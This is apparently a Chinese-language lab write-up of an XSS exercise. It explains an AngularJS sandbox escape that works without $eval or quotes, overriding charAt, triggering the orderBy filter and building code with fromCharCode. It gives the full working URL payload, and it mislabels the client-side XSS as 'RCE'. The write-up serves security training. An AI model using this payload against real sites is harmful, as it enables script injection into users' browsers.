# Cross-site scripting Lab25 本題是 AngularJS sandbox escape,而且更進階的是: - 不能用 $eval - 不能用 任何字串(引號全被濾掉) - 但你還是要想辦法呼叫 alert(1)。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/HkVJdGXSel.png) 既然啥都不能用,所以來寫一個全繞過的 URL: 1. `toString().constructor` 這是 JS 世界的秘密通道,等同於 String。 因為不能寫 `String`,所以就用 `1..toString().constructor` 來繞過。 2. `.prototype.charAt = [].join` 把 `String.prototype.charAt` 改掉,用來破壞 Angular 的 `sandbox`。 AngularJS 為了安全,會檢查用到的 charAt,但我們把它換掉(強行破壞限制) 3. `[1] | orderBy:...` AngularJS 的 orderBy filter 會嘗試使用字串排序。 這會觸發 `charAt()`,剛好我們已經把它換掉,這就是攻擊的關鍵。 4. `fromCharCode(...)` 這裡我們生成:x=alert(1) *因為你不能直接用 `x=alert(1)`,所以只能用 fromCharCode 組出來。 ```js String.fromCharCode( 120, // x 61, // = 97, // a 108, // l 101, // e 114, // r 116, // t 40, // ( 49, // 1 41 // ) ) ``` 全部合在一起就是: ```url ?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 ``` 當這整段表達式被 AngularJS 處理的時候,它會先被 `sandbox` 審核,但換掉 charAt 來繞過檢查,用 orderBy filter 來觸發 `eval-like` 的處理,用 fromCharCode 組出程式碼,成功實現無引號、無 `eval` 的 RCE。 ![image](https://hackmd.io/_uploads/BkQVFfQSee.png) ![image](https://hackmd.io/_uploads/SJtNYG7Bge.png) ---